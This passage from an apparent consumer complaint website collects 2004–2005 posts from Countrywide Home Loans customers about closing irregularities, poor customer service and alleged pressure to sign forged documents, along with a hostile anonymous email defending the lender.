would have been at their pleasure.
THEN, we found out our realtor had not disclosed an encroachment. This alone could have been a deal-breaker, but we wanted the property so we worked out a deal with the man who owned the property on whom we were encroaching. We also got an attorney, and asked him to take over the closing, which we had been planning to do at the realtor's office. WELLLLLL---Here it gets fun. Countrywide and our realtor had worked into the purchase all sorts of "creative financing," so that we, the buyers, would be credited with approximately $3,500 at the closing, which would have been at the realtor's office, where we wouldn't have known what the hell he was doing with the money. But our lawyer and our bank did exactly that; they credited us with the $3,500. In fact, they ran out of places to credit us, so the seller ended up writing us a personal check for the balance. Our realtor was shocked when he found this out at closing. We had to stay an hour while everyone in his office and the lawyer's office looked for money, calculators clicking, pages flying. The realtor went outside and talked on his cell phone. We overhead him shout, "Well then we're screwed!" I kid you not! At another point in this comedy our lawyer asked him, "Well, where's the earnest money? I don't have it. Do you have it?" And the realtor said, distractedly, "Well yes, I have it, butÖ." and went back to playing with his calculator.
The way it finally turned out for us was beautiful. The seller actually ended up paying for part of our down payment, but it didn't cost him anything because Countrywide had him raise the asking price in order to credit us, in order to be able to get their thousands at closing. We paid NO FEES whatsoever, and walked away with a small check to the good. The seller paid a very low commission to the realtor (because the realtor quoted him a small commission, apparently because he, the realtor, was going to get a cut of the "creative financing" done by Countrywide at closing.) Watching this comedy of errors was truly enjoyable; however, it followed a month of anxiety and fear. I don't recommend Countrywide to anyone. And if your realtor recommends them, please be warned.



Left: February 28, 2005 By: In:

Below is a copy of an email sent to the owner aka whiner of this website on Feb 27, 2005 7:54 PM, CST



Hello,



Countrywide is voted the best of the best places to work. Countrywide is also the number one servicer and lender. Countrywide makes dreams come true to those that work hard and understand what it is to be financially responsible.



No matter how many web sites you put up, no mattter how much you whine, you will get no where. Countrywide continues to be number one and you will not be able to do nothing about it. Individuals like you never prosper!



Loving Countrywide,

Anomyous Like yourself.



P.S. If you really supported this site you would not hide from who you really are. At least state your name coward!




Left: February 17, 2005 By: Heather In: Indianapolis

I have had a CHL for 8 years - every Dec I would get a notice saying I didn't have to make a payment, relax for the month. I have never taken them up on their offer. In May 2004, my husband and I purchased a home and knew our CHL home would sell quick. It's almost March 2005, and we still haven't sold our CHL home. We have just about wiped out our savings with double mortgage payments, untilites etc. CHL said there is nothing they can do unless we stop making payments for three months (that was after we were on hold for 47 minutes). Right now, our credit is spotless, so I can't believe this is all they suggest. The best part about the whole thing - the #1 reason we are having trouble selling our home is due to the eye sore next to us. Yep, it's a CHL home that they have abandon. I called CHL 17 times (imagine how long I was on hold each time) to have them come out and take care of the well above knee high grass etc - without any luck. I ended up calling the city and they came out to take care of the property. CHL doesn't care about the abandon home or ours. They also suggested we do a short sale. Got the paperwork last night - they must think we are stupid. They appraised my home for $155k, we owe $90k and they want to sell it for $30k less then what we actually owe - where do I sign up! It is so unbelievable to me that they treat customers the way they do. I am sad for everyone, but glad there is a site like this to vent and make others aware of their practices. I don't know what we are going to do - but if we could qualify for a class action suit, count us in! -


Left: February 16, 2005 By: Dodeged The Bullet In: Munster

Glad to have found this site. I am planning on having some work done to property I own and my contractor passed my loan application to Countrywide. All the information was verified over the phone before the papers were printed. The paperwork arrived with so many errors that I refused to sign it until it is corrected. One week has passed - still no revised paperwork.

Now to add insult to injury, they scheduled a appraisal that required the interior of my house and contents be photographed. I never heard of such a thing so I also refused to allow the appraiser in the house.

Add insult to injury part 2, an individual from CHL called the house while I was at work and spoke to my fiance. Next thing I know, CHL is telling me that according to there records, my house in uninhabitable.

I guess I was lucky enough to experience the sloppy and incompetent way CHL conducts its business before I signed any paperwork.


Left: January 10, 2005 By: Scammed in Indiana In: South Bend

I just closed on a loan with Countrywide in dec 2004. It is called a HELOC. I was told verbally and in writing several times that the rate was locked in for 1 year (itís an ARM). Not only was the rate on my first statement nearly 2 points over my loan documents, they claim my closing paperwork does not indicate any such term. MORE IMPORTANTLY I WAS TOLD BY MELISSA WORTH AND LIZ STOLL AT THE SOUTH BEND BRANCH TO FORGE DOCUMENTS IN ORDER TO CLOSE MY LOAN. She even provided the forged documents and told me if I did not sign them I would loose the $2000 I already invested. I should have known at that point I was dealing with unethical people.

You would be better off getting a loan through the Sopranos than CW!! Atleast loansharks let you know the terms upfront.

THANKS FOR YOUR SITE. I just wish I would have seen it three months ago!!



Left: December 29, 2004 By: CHAD CROSE In: INDIANAPOLIS,IN

THE CUSTOMER SERVICE DEPARTMENT IN SIMI VALLEY, CALIFORNIA IS WORTHLESS. iF YOU ARE TRING TO RESOLVE YOUR ISSUES WITH THEM THEN YOU ARE SIMPLY WASTING YOUR TIME.MY STORY IS TO LONG TO TELL BUT I WILL TALK TO ANYONE WHO WILL LISTEN.I WOULD LOVE TO KNOW HOW TO START A CLASS ACTION SUIT AGAINST CHL.317-293-5728


Left: October 04, 2004 By: stacy bonner In: Lebanon

Yes, they truly suck, loose your payments then harass me every two days calling me asking me to set up on bank draft. after reading this there is NO way i'll set this up on a bank draft

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